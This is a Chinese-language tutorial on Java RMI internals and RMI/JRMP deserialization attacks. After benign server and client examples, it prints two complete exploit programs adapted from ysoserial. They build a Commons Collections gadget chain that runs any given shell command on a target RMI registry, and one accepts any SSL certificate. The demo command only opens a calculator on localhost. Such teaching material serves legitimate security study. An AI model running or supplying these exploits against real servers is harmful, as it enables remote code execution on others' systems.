RMI

RMI(Remote Method Invocation)即Java远程方法调用，RMI用于构建分布式应用程序，RMI实现了Java程序之间跨JVM的远程通信。

RMI架构：

java-rmi

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，RMI调用远程方法的大致如下：

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称、Remote对象。
  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果，获取远程对象的引用。
  9. RMI客户端调用远程方法，RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

RMI远程方法调用测试

第一步我们需要先启动RMI服务端，并注册服务。

RMI服务端注册服务代码：

  1. package com.anbai.sec.rmi;
  3. import java.rmi.Naming;
  4. import java.rmi.registry.LocateRegistry;
  6. public class RMIServerTest {
  8.    // RMI服务器IP地址
  9.    public static final String RMI_HOST = "127.0.0.1";
  11.    // RMI服务端口
  12.    public static final int RMI_PORT = 9527;
  14.    // RMI服务名称
  15.    public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
  17.    public static void main(String[] args) {
  18.       try {
  19.          // 注册RMI端口
  20.          LocateRegistry.createRegistry(RMI_PORT);
  22.          // 绑定Remote对象
  23.          Naming.bind(RMI_NAME, new RMITestImpl());
  25.          System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  26.       } catch (Exception e) {
  27.          e.printStackTrace();
  28.       }
  29.    }
  31. }

程序运行结果：

  1. RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test

Naming.bind(RMI_NAME, new RMITestImpl())绑定的是服务端的一个类实例，RMI客户端需要有这个实例的接口代码(RMITestInterface.java)，RMI客户端调用服务器端的RMI服务时会返回这个服务所绑定的对象引用，RMI客户端可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。

RMITestInterface示例代码：

  1. package com.anbai.sec.rmi;
  3. import java.rmi.Remote;
  4. import java.rmi.RemoteException;
  6. /**
  7.  * RMI测试接口
  8.  */
  9. public interface RMITestInterface extends Remote {
  11.    /**
  12.     * RMI测试方法
  13.     *
  14.     * @return 返回测试字符串
  15.     */
  16.    String test() throws RemoteException;
  18. }

这个区别于普通的接口调用，这个接口在RMI客户端中没有实现代码，接口的实现代码在RMI服务端。

服务端RMITestInterface实现代码示例代码：

  1. package com.anbai.sec.rmi;
  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;
  6. public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface {
  8.    private static final long serialVersionUID = 1L;
  10.    protected RMITestImpl() throws RemoteException {
  11.       super();
  12.    }
  14.    /**
  15.     * RMI测试方法
  16.     *
  17.     * @return 返回测试字符串
  18.     */
  19.    @Override
  20.    public String test() throws RemoteException {
  21.       return "Hello RMI~";
  22.    }
  24. }

RMI客户端示例代码：

  1. package com.anbai.sec.rmi;
  3. import java.rmi.Naming;
  5. import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;
  7. public class RMIClientTest {
  9.    public static void main(String[] args) {
  10.       try {
  11.          // 查找远程RMI服务
  12.          RMITestInterface rt = (RMITestInterface) Naming.lookup(RMI_NAME);
  14.          // 调用远程接口RMITestInterface类的test方法
  15.          String result = rt.test();
  17.          // 输出RMI方法调用结果
  18.          System.out.println(result);
  19.       } catch (Exception e) {
  20.          e.printStackTrace();
  21.       }
  22.    }
  23. }

程序运行结果：

  1. Hello RMI~

RMI反序列化漏洞

RMI通信中所有的对象都是通过Java序列化传输的，在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

既然RMI使用了反序列化机制来传输Remote对象，那么可以通过构建一个恶意的Remote对象，这个对象经过序列化后传输到服务器端，服务器端在反序列化时候就会触发反序列化漏洞。

首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码，创建一个RMI服务，然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。

RMI客户端反序列化攻击示例代码：

  1. package com.anbai.sec.rmi;
  3. import org.apache.commons.collections.Transformer;
  4. import org.apache.commons.collections.functors.ChainedTransformer;
  5. import org.apache.commons.collections.functors.ConstantTransformer;
  6. import org.apache.commons.collections.functors.InvokerTransformer;
  7. import org.apache.commons.collections.map.LazyMap;
  9. import javax.net.ssl.SSLContext;
  10. import javax.net.ssl.SSLSocketFactory;
  11. import javax.net.ssl.TrustManager;
  12. import javax.net.ssl.X509TrustManager;
  13. import java.io.IOException;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.InvocationHandler;
  16. import java.lang.reflect.Proxy;
  17. import java.net.Socket;
  18. import java.rmi.ConnectIOException;
  19. import java.rmi.Remote;
  20. import java.rmi.registry.LocateRegistry;
  21. import java.rmi.registry.Registry;
  22. import java.rmi.server.RMIClientSocketFactory;
  23. import java.security.cert.X509Certificate;
  24. import java.util.HashMap;
  25. import java.util.Map;
  27. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
  28. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  30. /**
  31.  * RMI反序列化漏洞利用，修改自ysoserial的RMIRegistryExploit：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
  32.  *
  33.  * @author yz
  34.  */
  35. public class RMIExploit {
  37.    // 定义AnnotationInvocationHandler类常量
  38.    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  40.    /**
  41.     * 信任SSL证书
  42.     */
  43.    private static class TrustAllSSL implements X509TrustManager {
  45.       private static final X509Certificate[] ANY_CA = {};
  47.       public X509Certificate[] getAcceptedIssuers() {
  48.          return ANY_CA;
  49.       }
  51.       public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  53.       public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  55.    }
  57.    /**
  58.     * 创建支持SSL的RMI客户端
  59.     */
  60.    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
  62.       public Socket createSocket(String host, int port) throws IOException {
  63.          try {
  64.             // 获取SSLContext对象
  65.             SSLContext ctx = SSLContext.getInstance("TLS");
  67.             // 默认信任服务器端SSL
  68.             ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
  70.             // 获取SSL Socket连接工厂
  71.             SSLSocketFactory factory = ctx.getSocketFactory();
  73.             // 创建SSL连接
  74.             return factory.createSocket(host, port);
  75.          } catch (Exception e) {
  76.             throw new IOException(e);
  77.          }
  78.       }
  79.    }
  81.    /**
  82.     * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
  83.     *
  84.     * @param command 定义需要执行的CMD
  85.     * @return Payload
  86.     * @throws Exception 生成Payload异常
  87.     */
  88.    private static InvocationHandler genPayload(String command) throws Exception {
  89.       // 创建Runtime.getRuntime.exec(cmd)调用链
  90.       Transformer[] transformers = new Transformer[]{
  91.             new ConstantTransformer(Runtime.class),
  92.             new InvokerTransformer("getMethod", new Class[]{
  93.                   String.class, Class[].class}, new Object[]{
  94.                   "getRuntime", new Class[0]}
  95.             ),
  96.             new InvokerTransformer("invoke", new Class[]{
  97.                   Object.class, Object[].class}, new Object[]{
  98.                   null, new Object[0]}
  99.             ),
  100.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
  101.       };
  103.       // 创建ChainedTransformer调用链对象
  104.       Transformer transformerChain = new ChainedTransformer(transformers);
  106.       // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
  107.       final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  109.       // 获取AnnotationInvocationHandler类对象
  110.       Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  112.       // 获取AnnotationInvocationHandler类的构造方法
  113.       Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  115.       // 设置构造方法的访问权限
  116.       constructor.setAccessible(true);
  118.       // 实例化AnnotationInvocationHandler，
  119.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
  120.       InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
  122.       // 使用动态代理创建出Map类型的Payload
  123.       final Map mapProxy2 = (Map) Proxy.newProxyInstance(
  124.             ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
  125.       );
  127.       // 实例化AnnotationInvocationHandler，
  128.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
  129.       return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
  130.    }
  132.    /**
  133.     * 执行Payload
  134.     *
  135.     * @param registry RMI Registry
  136.     * @param command  需要执行的命令
  137.     * @throws Exception Payload执行异常
  138.     */
  139.    public static void exploit(final Registry registry, final String command) throws Exception {
  140.       // 生成Payload动态代理对象
  141.       Object payload = genPayload(command);
  142.       String name    = "test" + System.nanoTime();
  144.       // 创建一个含有Payload的恶意map
  145.       Map<String, Object> map = new HashMap();
  146.       map.put(name, payload);
  148.       // 获取AnnotationInvocationHandler类对象
  149.       Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  151.       // 获取AnnotationInvocationHandler类的构造方法
  152.       Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  154.       // 设置构造方法的访问权限
  155.       constructor.setAccessible(true);
  157.       // 实例化AnnotationInvocationHandler，
  158.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
  159.       InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
  161.       // 使用动态代理创建出Remote类型的Payload
  162.       Remote remote = (Remote) Proxy.newProxyInstance(
  163.             ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
  164.       );
  166.       try {
  167.          // 发送Payload
  168.          registry.bind(name, remote);
  169.       } catch (Throwable e) {
  170.          e.printStackTrace();
  171.       }
  172.    }
  174.    public static void main(String[] args) throws Exception {
  175.       if (args.length == 0) {
  176.          // 如果不指定连接参数默认连接本地RMI服务
  177.          args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
  178.       }
  180.       // 远程RMI服务IP
  181.       final String host = args[0];
  183.       // 远程RMI服务端口
  184.       final int port = Integer.parseInt(args[1]);
  186.       // 需要执行的系统命令
  187.       final String command = args[2];
  189.       // 获取远程Registry对象的引用
  190.       Registry registry = LocateRegistry.getRegistry(host, port);
  192.       try {
  193.          // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
  194.          String[] regs = registry.list();
  196.          for (String reg : regs) {
  197.             System.out.println("RMI:" + reg);
  198.          }
  199.       } catch (ConnectIOException ex) {
  200.          // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误，默认信任SSL证书
  201.          registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
  202.       }
  204.       // 执行payload
  205.       exploit(registry, command);
  206.    }
  208. }

程序执行后将会在RMI服务端弹出计算器(仅Mac系统，Windows自行修改命令为calc)，RMIExploit程序执行的流程大致如下：

  1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
  2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
  3. 使用RemoteStub调用RMI服务端的bind指令，并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。
  4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。

RMI客户端端bind序列化：

image-20191231154833818

上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端。

RMI服务端bind反序列化：

image-20191231155509069

具体的实现代码在：sun.rmi.registry.RegistryImpl_Skel类的dispatch方法，其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。

RMI-JRMP反序列化漏洞

JRMP接口的两种常见实现方式：

  1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。
  2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。

由于RMI数据通信大量的使用了Java的对象反序列化，所以在使用RMI客户端去攻击RMI服务端时需要特别小心，如果本地RMI客户端刚好符合反序列化攻击的利用条件，那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。

我们可以通过和RMI服务端建立Socket连接并使用RMI的JRMP协议发送恶意的序列化包，RMI服务端在处理JRMP消息时会反序列化消息对象，从而实现RCE。

JRMP客户端反序列化攻击示例代码：

  1. package com.anbai.sec.rmi;
  3. import sun.rmi.server.MarshalOutputStream;
  4. import sun.rmi.transport.TransportConstants;
  6. import java.io.DataOutputStream;
  7. import java.io.IOException;
  8. import java.io.ObjectOutputStream;
  9. import java.io.OutputStream;
  10. import java.net.Socket;
  12. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
  13. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
  15. /**
  16.  * 利用RMI的JRMP协议发送恶意的序列化包攻击示例，该示例采用Socket协议发送序列化数据，不会反序列化RMI服务器端的数据，
  17.  * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击，示例程序修改自ysoserial的JRMPClient：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java
  18.  */
  19. public class JRMPExploit {
  21.    public static void main(String[] args) throws IOException {
  22.       if (args.length == 0) {
  23.          // 如果不指定连接参数默认连接本地RMI服务
  24.          args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
  25.       }
  27.       // 远程RMI服务IP
  28.       final String host = args[0];
  30.       // 远程RMI服务端口
  31.       final int port = Integer.parseInt(args[1]);
  33.       // 需要执行的系统命令
  34.       final String command = args[2];
  36.       // Socket连接对象
  37.       Socket socket = null;
  39.       // Socket输出流
  40.       OutputStream out = null;
  42.       try {
  43.          // 创建恶意的Payload对象
  44.          Object payloadObject = RMIExploit.genPayload(command);
  46.          // 建立和远程RMI服务的Socket连接
  47.          socket = new Socket(host, port);
  48.          socket.setKeepAlive(true);
  49.          socket.setTcpNoDelay(true);
  51.          // 获取Socket的输出流对象
  52.          out = socket.getOutputStream();
  54.          // 将Socket的输出流转换成DataOutputStream对象
  55.          DataOutputStream dos = new DataOutputStream(out);
  57.          // 创建MarshalOutputStream对象
  58.          ObjectOutputStream baos = new MarshalOutputStream(dos);
  60.          // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
  61.          dos.writeInt(TransportConstants.Magic);// 魔数
  62.          dos.writeShort(TransportConstants.Version);// 版本
  63.          dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
  64.          dos.write(TransportConstants.Call);// RMI调用指令
  65.          baos.writeLong(2); // DGC
  66.          baos.writeInt(0);
  67.          baos.writeLong(0);
  68.          baos.writeShort(0);
  69.          baos.writeInt(1); // dirty
  70.          baos.writeLong(-669196253586618813L);// 接口Hash值
  72.          // 写入恶意的序列化对象
  73.          baos.writeObject(payloadObject);
  75.          dos.flush();
  76.       } catch (Exception e) {
  77.          e.printStackTrace();
  78.       } finally {
  79.          // 关闭Socket输出流
  80.          if (out != null) {
  81.             out.close();
  82.          }
  84.          // 关闭Socket连接
  85.          if (socket != null) {
  86.             socket.close();
  87.          }
  88.       }
  89.    }
  91. }

测试流程同上面的RMIExploit，这里不再赘述。